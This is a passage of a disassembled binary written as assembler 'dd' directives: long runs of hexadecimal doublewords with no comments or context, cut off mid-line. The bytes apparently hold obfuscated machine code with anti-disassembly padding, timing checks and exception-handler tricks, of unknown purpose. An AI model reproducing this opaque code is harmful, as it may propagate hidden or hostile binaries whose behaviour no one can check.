dd 8D8917F4h, 7E03125h, 1195FF5Bh, 6607E030h, 8BCA1ABBh dd 0E3CBA1B5h, 0CE907h, 263D0000h, 6E003C1Fh, 0C1568840h dd 858B0FEAh, 7E022D1h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 20C35141h, 0E96E136Bh, 0Ah, 0B97DD1DAh dd 0BAA6D074h, 8689CCD0h, 0C4h, 8BFEBF0Fh, 0E0181595h dd 3DBD8907h, 8307E014h, 30BF04C2h, 890CF994h, 6A2050h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0DAE0C2C3h, 0DE476F9Eh, 0AD9D8B69h, 307E006h, 0E01D01BDh dd 0D4858D07h, 6A07E3E0h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0DBE6C355h, 419589E4h dd 6607E025h, 0C069C381h, 0B88689h, 8D890000h, 7E0294Dh dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 0F4B7A8C3h, 0F1E34551h, 95091698h, 7E02911h dd 0DAD78166h, 0ADB5FFC7h, 8B07E3CBh, 0E011A99Dh, 9995FF07h dd 6A07E02Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 7D3C352h, 9046D35Dh, 0FA8B6611h dd 0E6EB8166h, 0D789BB96h, 8B507B12h, 243489DEh dd 12299D29h, 0B5FF07E0h, 7E3CBADh, 0D4C4BF66h, 28E995FFh dd 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 8BD83BC3h, 0C99D8BDAh, 8307E012h, 0E028E1BDh dd 840F0007h, 5Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0CCC35242h, 32D8B560h, 81FF87F7h, 0CB9228DFh dd 94DB8178h, 5057C79Eh, 5662BF53h, 895B4BB8h, 6A2434h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 31748BC3h, 0E02CB595h, 0ADB5FF07h, 6607E3CBh, 4B53CF81h dd 303595FFh, 8D0907E0h, 7E01AB1h, 0CBADB5FFh, 6A07E3h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 378F7AC3h, 0A05F5204h, 2B0D9D31h, 9D8907E0h, 7E026B9h dd 1B995FFh, 6A07E0h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0C2D4A6C3h, 0CC8A7923h, 0BD8362C5h dd 7E00731h, 54840F02h, 89000000h, 0E0347595h, 39858B07h dd 6A07E020h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 293FC352h, 0FD426C8Fh, 6A0000C6h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 93B3C351h, 7BF53D24h, 0C76B9348h, 0E0043D85h dd 7, 5D9D8B00h, 0E907E020h, 0FFFFF3F0h, 0E853006Ah, 3 dd 5BC35B20h, 4245C89h, 4244481h, 14h, 3FC35343h, 0F2D2BF60h dd 858B6D0Dh, 7E0138Dh, 6AC18B61h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9E5AC355h dd 3C96B4EFh, 0E4EE1E29h, 6E9h, 0D4A5DA00h, 0F50E941Bh dd 13C9858Dh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 9E99BC3h, 35000000h, 600CFAC2h dd 750940F5h, 0CBB6650h, 24048904h, 6AF98Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 4AC35141h, 3FE4CBF0h dd 0B589D98Ah, 7E023BDh, 850F006Ah, 3, 8DDFBF0Fh, 0E4C16885h dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 6BC56701h, 6F160786h, 5753A50Fh, 5B5F5B56h dd 64DBD8Bh, 0C08307E0h, 0FEB70F05h, 0FC5CBB50h, 489759Eh dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 96EADE56h, 7DBF74DAh, 6A5EC99Bh, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 0E94E2BB4h, 7, 0AEAA97B2h, 6A97F561h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 31B445D8h, 0E02F8D9Dh, 1BD3107h, 0FF07E002h, 0E0344195h dd 6870F07h, 8B000000h, 0E02085BDh, 5880F07h, 0BF000000h dd 11131E22h, 0A3938D8Dh, 6A07E3h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 570BE0C3h, 280ABF52h dd 5F5B02C6h, 6AD1FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 83D8C3C3h, 0E016B1BDh, 850F0107h dd 84h, 6800Fh, 9D290000h, 7E024FDh, 6A026Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0E96AB2C3h dd 8, 0D38AF631h, 779B0FC5h, 5A516050h, 2820Fh, 0F18B0000h dd 24048961h, 4880Fh, 0B7560000h, 95FF5BE8h, 7E02A99h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1FC35747h dd 63270E6Ah, 0BB663A65h, 8D8960C4h, 7E0195Dh, 0DB3E9h dd 0E800h, 815D0000h, 0E4C172EDh, 5F29BB07h, 8D314B09h dd 7E03161h, 9463858Dh, 0BF0F07E3h, 0F98A90D8h, 9021B350h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FAC35242h dd 0EB816660h, 8D233512h, 7E01671h, 35FF6461h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 71C35545h dd 5FF85346h, 6399D8Bh, 896407E0h, 25h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0FD85FFF9h, 6A07E020h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 9131C357h, 8A17C0E1h dd 0FFF6AFDh, 28Ch, 0FFDF8B00h, 0E02A35B5h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0E66D82D7h, 0F2256A44h, 95FFEDB8h, 7E03389h, 0FEE9h dd 0F0816000h, 54E383ABh, 2EF99D8Bh, 0B06107E0h, 70E6FC00h dd 1AF78166h, 8971E4E7h, 0E0049185h, 0EF816607h, 613CB9CAh dd 0D1830Fh, 9D8B0000h, 7E01E71h, 1C8B60Fh, 0E0321D9Dh dd 6BA07h, 95890000h, 7E01871h, 0E8C1C18Bh, 11B58904h dd 6607E032h, 0DB81E2F7h, 3193E8C5h, 9D8BC82Bh, 7E028F9h dd 8960D18Bh, 0E021299Dh, 0D1BF0F07h, 0CE961h, 7E90000h dd 2C000000h, 0A8F3E4BFh, 858B5F1Eh, 7E01A3Dh, 14B59529h dd 0C08307E0h, 0A99D8B07h, 8307E023h, 0D03B00C0h, 21830Fh dd 0B3600000h, 0F08B6674h, 51E961h, 10E90000h, 0CC000000h dd 43C8384h, 23CE08C1h, 0DE8FABE5h, 8BF65C21h, 0E014758Dh dd 0FB8B6607h, 16898D89h, 0E18307E0h, 24840F01h, 2B000000h dd 0E02C71BDh, 75A58307h, 0FE07E014h, 19D19D8Bh, 958907E0h dd 7E01A3Dh, 1259D8Bh, 0E907E0h, 8D000000h, 0E43AACB5h dd 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 50F0A907h, 6A2933h, 1C1BD8Bh, 9D2B07E0h dd 7E0205Dh, 18A995FFh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 34DB96C3h, 9E8A3h, 0E1310000h dd 0CCDF7060h, 899CA288h, 0E000FD9Dh, 9D2B5F07h, 7E02C19h dd 7E2B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 176FB2Dh, 0E0014595h, 0FCE18307h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 7FC35141h dd 11C49959h, 50006AFCh, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 944578h, 0C5BD8953h, 5B07E000h, 0B8h dd 1BD8B00h, 0BA07E006h, 0 dd 75952956h, 5F07E012h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 31C35040h dd 65BD8B48h, 0F07E026h, 68Ch, 1D9D8B00h, 2B07E001h, 0E001A9BDh dd 880D07h, 0BF660000h, 0DE8BFB5Bh, 1815958Bh, 6A07E0h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 274B60C3h, 20498D8Bh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 3606B6C3h, 5C3F72CBh dd 357D8FBFh, 0C28B5025h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h dd 0F58188Bh, 387h, 0F8BF0F00h, 8A0Fh, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h dd 0CFE5FFC3h, 12E901h, 4D7D0000h, 60FE183Bh, 0C4ABBCB7h dd 0D2DC6B4Bh, 9705A595h, 12F5BD83h, 0F0007E0h, 5D84h dd 0FE9F500h, 0DB000000h, 75DD9E18h, 85BCF94Ah, 2400D289h dd 0B87248h, 89000000h, 0E025AD8Dh, 0E88D8D07h, 6A07E04Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 5898C356h, 0CA6533CCh, 4C7EAA07h, 2D853152h dd 5B07E024h, 0F381E1FFh, 28FFD313h, 0BD8335B7h, 7E022C5h dd 83840F00h, 6A000004h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 98DC352h, 4A488C18h dd 10E8B6DEh, 78000000h, 0C7421E35h, 0FE49B0A9h, 0DC50D327h dd 89D97E01h, 0E008D5BDh, 0BD835B07h, 7E022C5h, 52840F01h dd 56000004h, 13419529h, 835B07E0h, 0E022C5BDh, 860F0307h dd 407h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0F5C35747h, 8B60B822h, 0E01ADDBDh, 0D98C6607h dd 80FE8B66h, 0F78004E1h, 0FC90A53h, 14084h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0FFE48BD7h, 7F3B5A04h, 0CE96004h, 0E0000000h, 0DAD586D9h dd 13DEF1F1h, 0FD88493h, 0BB61DAB7h, 60344333h, 3399858Bh dd 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0E9AA58C3h, 7062AC76h, 9D8B71E1h, 7E025BDh dd 31898533h, 816607E0h, 0F2075F3h, 68Fh, 0E9858900h, 5007E01Ch dd 5E9h, 0D0BAA600h, 489ABCCh, 0D19D8B24h, 6A07E031h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 2E896999h, 830F5357h, 6, 2A95BD8Bh, 685B07E0h, 70434C89h dd 76243481h, 6A705C4Fh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0B7C9C352h, 0B6954DDFh dd 95FFF5EFh, 7E021CDh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 1FC35141h, 5601845Ah, 7F269DD8h, 6ED8D31h dd 858907E0h, 7E3CBADh, 1D399D8Bh, 27E907E0h, 3000002h dd 0E01DC99Dh, 0A5858B07h, 6A07E3CBh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 6F09C350h dd 0DE953F8h, 87000000h, 111103C6h, 5342F217h, 406CB58Ch dd 1800C75Bh, 8B000000h, 0E3CBA9B5h, 0E3816607h, 70BF60B9h dd 8B747C6Ch, 0E005F985h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0D418C1F4h dd 4852EFCCh, 0BD8BB4C0h, 7E01129h, 85890689h, 7E01051h dd 22D59D8Bh, 858B07E0h, 7E03399h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 8BC35040h, 8EAF87A7h, 33AABAC0h dd 11E957h, 59850000h, 0F884B307h, 76F38A16h, 0C2231D46h dd 5F2737A8h, 0B920C381h, 46897C11h, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0EA4658Dh dd 907C7639h, 0BD8B6CB7h, 7E02585h, 161D9D8Bh, 0BB5007E0h dd 107F7006h, 8B243489h, 0E02D2DBDh, 0A5B5FF07h, 6607E3CBh dd 4E8DE8Bh, 0FF000000h, 51001F03h, 2840Fh, 5F510000h dd 9E9505Fh, 0CB000000h, 0A41F1EE8h, 0C346C478h, 424448Bh dd 1BB6052h, 6177FFE5h, 0E8008B5Fh, 6, 0ECB94567h, 0BB66C496h dd 895FA814h, 8B042444h, 6A58F8h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 9BBE9AC3h, 0B59D8B34h dd 8B07E028h, 0E01099BDh, 0AD858D07h, 6A07E3CBh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0D0AFC356h, 7F49636Bh, 5090B702h, 8B666052h, 0F5250F9h dd 61585A31h, 0BB66310Fh, 585AD85Ch, 90FE8B50h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0E9C35141h, 0FF3C6F4Dh dd 0E021CD95h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 92F9D8F2h, 0D22DD9C9h dd 6A61FC8Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0E49DC357h, 0C71572D9h, 0E022C585h dd 307h, 5DB58900h, 8B07E02Dh, 0E01C5DBDh, 0ADBD8307h dd 7E3CBh, 29840Fh, 3FE90000h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 9F2FC352h dd 0E5BD29F5h, 5007E01Ah, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0E6E584C3h, 6AD74Ch dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0F50195C3h, 73566A37h, 0BD83D88Ah, 7E022C5h, 0FF850F03h dd 8B000003h, 0E0290D9Dh, 0ADBD8307h, 7E3CBh, 3EC840Fh dd 0E8BB0000h, 0FF2B2A3Eh, 0E3CBADB5h, 0C1BD8B07h, 0FF07E01Ch dd 0E01DA995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1D04h, 0C3534300h, 0D8BFB08Fh, 0EC7A0B3Ch dd 0B58BD249h, 7E3CBA1h, 0FE19589h, 6C707E0h, 10001h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 66C35141h, 142B4A4Fh dd 8589FA0Ch, 7E004B9h, 50FEDF80h, 10E9h, 1414D300h, 5D23C6A7h dd 15614E17h, 76EDBBA1h, 24348988h, 0ADB5FFF8h, 6A07E3CBh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 417BC355h, 8B5F6684h, 1195FFF8h, 6A07E030h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0F352C352h, 8B2E2F5Eh, 0E3CBA1B5h, 14E907h dd 0A6EB0000h, 83BF21D3h, 940A6609h, 456B725Fh, 0D8A2EC65h dd 858B27C9h, 7E022D1h, 8689DA8Bh, 0C4h, 8D0169B3h, 7E0086Dh dd 1815958Bh, 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 140424h, 52420000h, 8C0FE8C3h, 3, 83DA8B66h, 6A04C2h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 66C91AC3h, 5089DE8Bh, 85036020h, 7E03475h dd 22CDB58Bh, 8D6107E0h, 0E3E0D485h, 50006A07h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0F030DC51h dd 26819D8Bh, 868907E0h, 0B8h, 3860Fh, 0C7800000h, 6A006A9Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 18EAC350h, 0C76BE4B7h, 0F3816638h, 0B5FFAA1Bh dd 7E3CBADh, 6F59D8Bh, 95FF07E0h, 7E02A99h, 1A099D89h dd 0E89607E0h, 13h, 0EE00BC5Eh, 90840B76h, 65EB544Fh, 0C079C972h dd 0FD828BFh, 383h, 0DF8B6600h, 2B96505Fh, 0E00209BDh dd 0ADB5FF07h, 6A07E3CBh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 8913C352h, 0E02DE585h dd 73BF6607h, 619D8987h, 0FF07E019h, 0E028E995h, 0DD8D8907h dd 8307E01Ah, 0E028E1BDh, 840F0007h, 47h, 1395B509h, 505007E0h dd 0FA6B352h, 0F525031h, 8A0F31h, 5A000000h, 89585A58h dd 6A2434h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 3A8465C3h, 0A9265FA8h, 7D9D8BE1h, 0FF07E025h dd 0E3CBADB5h, 1D858907h, 0FF07E016h, 0E0303595h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 7EAB8EA8h, 0BF42E643h, 0E8DDF781h, 0B5FF3CB7h, 7E3CBADh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B2C35141h dd 0CD488595h, 1211BD31h, 95FF07E0h, 7E001B9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0BAC35747h, 0BD894356h dd 7E01A0Dh, 731BD83h, 0F0207E0h, 7384h, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 890F7CEDh, 8, 8B0F52h, 5B000000h, 0EA5F5DBFh, 0D0B75615h dd 39858B5Fh, 6A07E020h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 375CC353h, 0E986EDCBh dd 0Bh, 79A334DBh, 799DBD0Ah, 89035A3Ch, 0E03401B5h, 0C607h dd 43D85C7h, 7E0h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 13E4DFC3h, 0DFE11631h dd 46E9FB8Bh, 31FFFFF3h, 0E0138D8Dh, 6AC18B07h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 6E23C356h, 0F6961EA1h, 0BD8BF891h, 7E01821h, 13C9858Dh dd 0B50907E0h, 7E005B5h, 0BF525050h, 23AA5866h, 585A310Fh dd 6A240489h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 4EA4C352h, 0E43BA990h, 62982D6Fh dd 6EC78166h, 6A006A62h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 5A88C356h, 0F22B6887h dd 8B96BF0Eh, 0E030B5BDh, 0E8006A07h, 6, 9F77E13Eh, 9D03D294h dd 7E019FDh, 37858D5Fh, 6607E4D1h, 29B28ABFh, 0E0149595h dd 5C08307h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0FC35141h, 30005E6Ah, 0C36AD781h, 5090320Eh, 0A6BB6652h dd 66310FE8h, 5A3BF1BBh, 6A905058h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0F657C356h dd 64C426A0h, 459B75B4h, 0DE9h, 918B5200h, 9E6B7DBBh, 9E302A4Eh dd 8166B765h, 6AAC71C7h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 7E513FDDh, 5E9A9h, 0E44F0000h dd 6AF14443h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0A4665B07h, 86BFFE91h, 344195FFh dd 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 800C9AC3h, 0C97D21E1h, 0E80C40D2h, 14h, 80C8B959h dd 7EC5204Dh, 805396B5h, 0ACF3A82Eh, 0FB799249h, 0DF6892BBh dd 8D8D5B62h, 7E3A393h, 0B7D1FFF5h, 0B1BD83E7h, 107E016h dd 59850Fh, 0BF0F0000h, 0F026ADAh, 283h, 5055B700h, 489FA8Bh dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 9995FFB1h, 6A07E02Ah, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0BC06C357h dd 93ED9E8h, 0E9A7F8EBh, 0CE7h, 0E8h, 0ED815D00h, 7E4D141h dd 51006AF8h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h dd 0C3514100h, 0B40CEEB6h, 63858D3Dh, 6A07E394h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0BB10C351h, 7ADCB9F9h, 505F5290h, 85F802BBh, 0EF80906Eh dd 35FF6433h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0B9C35545h dd 0A3ECE4BFh, 25896417h, 0 dd 505BD8Bh, 85FF07E0h, 7E020FDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 36C35040h, 0C683C607h, 0BF666A77h dd 0FF6A07CFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0A7C35242h, 7B9570F6h, 6890F56h, 0F000000h, 81h dd 0D98B5F00h, 12ADB5FFh, 895307E0h, 0E01FD59Dh, 95FF5B07h dd 7E03389h, 121E9h, 95BD8B00h, 0B007E030h, 2800F00h, 8B000000h dd 8B0FDFh, 0E6000000h, 0D99D2970h, 0BF07E011h, 28BF3D3Fh dd 7E971E4h, 0CF000000h, 9A1C4D44h, 613C477Bh, 0E8830Fh dd 0BB660000h, 0B60FBA5Ch, 35BD89C8h, 0BA07E031h, 6, 0BE9h dd 6492800h, 68F9DE97h, 47F5913Dh, 8529C18Bh, 7E01235h dd 0E904E8C1h, 0Ch, 0E49A07Fh, 0B6713B04h, 0D442CD23h dd 0E9E2F766h, 13h, 6DEED9B8h, 1F4673Ah, 0AF402B26h, 18FAF6E1h dd 2BC1CAA7h, 8BD18BC8h, 0E02429BDh, 80E907h, 858B0000h dd 8, 44DF8166h, 0BDB50992h, 8307E017h, 816607C0h, 81D888D7h dd 61CC9EFh, 0C0834Ch, 3396C781h, 0D03B0902h, 15830Fh dd 81660000h, 0E90F3FF7h, 46h, 6E9h, 2A3E0800h, 8B66C6C0h dd 0FFFFFF8Dh, 0B19589FFh, 8307E001h, 840F01E1h, 26h, 89BD8B57h dd 5B07E00Fh, 0FFFFA583h, 31FEFFFFh, 0E0017D9Dh, 8958907h dd 0B000000h, 0E0069D9Dh, 0E907h, 0B58D0000h, 7E451BFh dd 1006AF9h, 0E00571BDh, 0A995FF07h, 6607E018h, 7ADDDB81h dd 1041B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 552A15F0h, 0B6DCAF45h, 1D9D2360h dd 8307E020h, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 7A9A4C3h, 0B589EEC3h, 7E023C9h dd 3A5BF66h, 0BF6650FCh, 0B85B6E82h, 0 dd 0D22B6DB3h, 23EDBD0Bh, 33AD07E0h, 3E8D1C2h, 4E983D0h dd 0C6BFF475h, 6A4A49A4h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0F59BC355h, 54BAE289h dd 8A69A8D4h, 880Dh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 8B795A92h, 0E0181595h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 596A70A5h, 0EE95Eh, 0E17D0000h, 12DCABF4h dd 4BCE605Fh, 0C8600925h, 20498D8Bh, 9DBF07E0h, 506560F9h dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 811C7007h, 0E3E063E3h, 38A0F3Eh, 80000000h, 0BD8306C3h dd 7E012F5h, 0B8840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 5F75C353h dd 13E9ADh, 0DC0B0000h, 8F6EE9F2h, 2981DFDBh, 0A8AA4129h dd 0E8CDA16Fh, 0B880h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0D28146C3h, 0FD8A4048h dd 35D38166h, 119D8B73h, 8D07E00Eh, 0E04EE88Dh, 55006A07h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0B56DAB73h, 11E95160h, 58000000h, 0CD0A29F0h, 76166CC3h dd 17F5E43h, 7CA423BFh, 87C48059h, 8BE1FF61h, 0E02EF9BDh dd 41958907h, 8307E02Bh, 0E022C5BDh, 840F0007h, 36Ch, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 30C35141h, 0E9A5E1DCh dd 0BD8B4FDFh, 7E013FDh, 3275BD8Bh, 0BD8307E0h, 7E022C5h dd 4C840F01h, 0BF000003h, 675C5A82h, 22C5BD83h, 0F0307E0h dd 30486h, 9E900h, 0C97B0000h, 353A2B10h, 60B08358h, 1BB19D89h dd 8C6607E0h, 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 0FE893h, 624D0000h, 69237207h, 0F5385CA3h dd 0BA4D2208h, 0CD958935h, 5F07E011h, 148CD381h, 0E180221Fh dd 8E904h, 390F0000h, 862C5B45h, 0CE98682h, 0DC000000h dd 0F27F799Eh, 97FFED7Ah, 0A797D11h, 24840FC9h, 6A000001h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 0B54BC353h, 517646D1h, 5B616053h, 0FFB70F5Fh dd 3399858Bh, 6A07E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 885E62C3h, 12084594h, 1C870Fh, 7E80000h dd 0BB000000h, 70562944h, 0AE9A635h, 0C3000000h, 0C17A5E04h dd 0DB6259A6h, 8D895FE0h, 7E023B9h, 31898533h, 6A07E0h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 8B90CAC3h, 0B36050D8h, 6A906171h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8970C352h dd 0E018058Dh, 89006A07h, 0E01681B5h, 5D9D6807h, 79B33C57h dd 62243481h, 6A3C485Eh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0FAF1C357h, 148DBD89h dd 95FF07E0h, 7E021CDh, 11E99D89h, 858907E0h, 7E3CBADh dd 695BD8Bh, 14E907E0h, 8B000001h, 0E01A299Dh, 8B5F5307h dd 0E3CBA585h, 0FBB70F07h, 1800C7h, 0AE90000h, 0A4000000h dd 3DB07DBEh, 17D53569h, 0A9B58B96h, 6607E3CBh, 2ABAD381h dd 5F9858Bh, 0FB8B07E0h, 0DB810689h, 2D7257E6h, 3399858Bh dd 958907E0h, 7E00099h, 8B044689h, 0E01669BDh, 7E95007h dd 30000000h, 9A109216h, 3489C297h, 0EE924h, 0B5E30000h dd 0B8125759h, 0D52C608Dh, 0B48686B8h, 0CBA5B5FFh, 9D8B07E3h dd 7E02881h, 4DBC1D68h, 14BF66E1h, 240481F6h, 1ED147E2h dd 944EE4BBh, 0AD858D6Dh, 6A07E3CBh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 1F8DC352h dd 744D0CDDh, 8E890h, 93A50000h, 559FBE36h, 0BB660818h dd 505F76A2h, 8B525053h, 0B7310FF8h, 5F585AAEh, 0D1858990h dd 5007E000h, 38E38166h, 95FF5B0Ch, 7E021CDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 63C35646h, 61079735h dd 154DBD8Bh, 85C707E0h, 7E022C5h, 3, 30419D8Bh, 0BD8307E0h dd 7E3CBADh, 32840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 24FBC353h dd 0ADC246E5h, 27E9h, 6840F00h, 1000000h, 0E0107D8Dh, 0C305007h dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h dd 7504E983h, 501BEBE7h, 2810E8C1h, 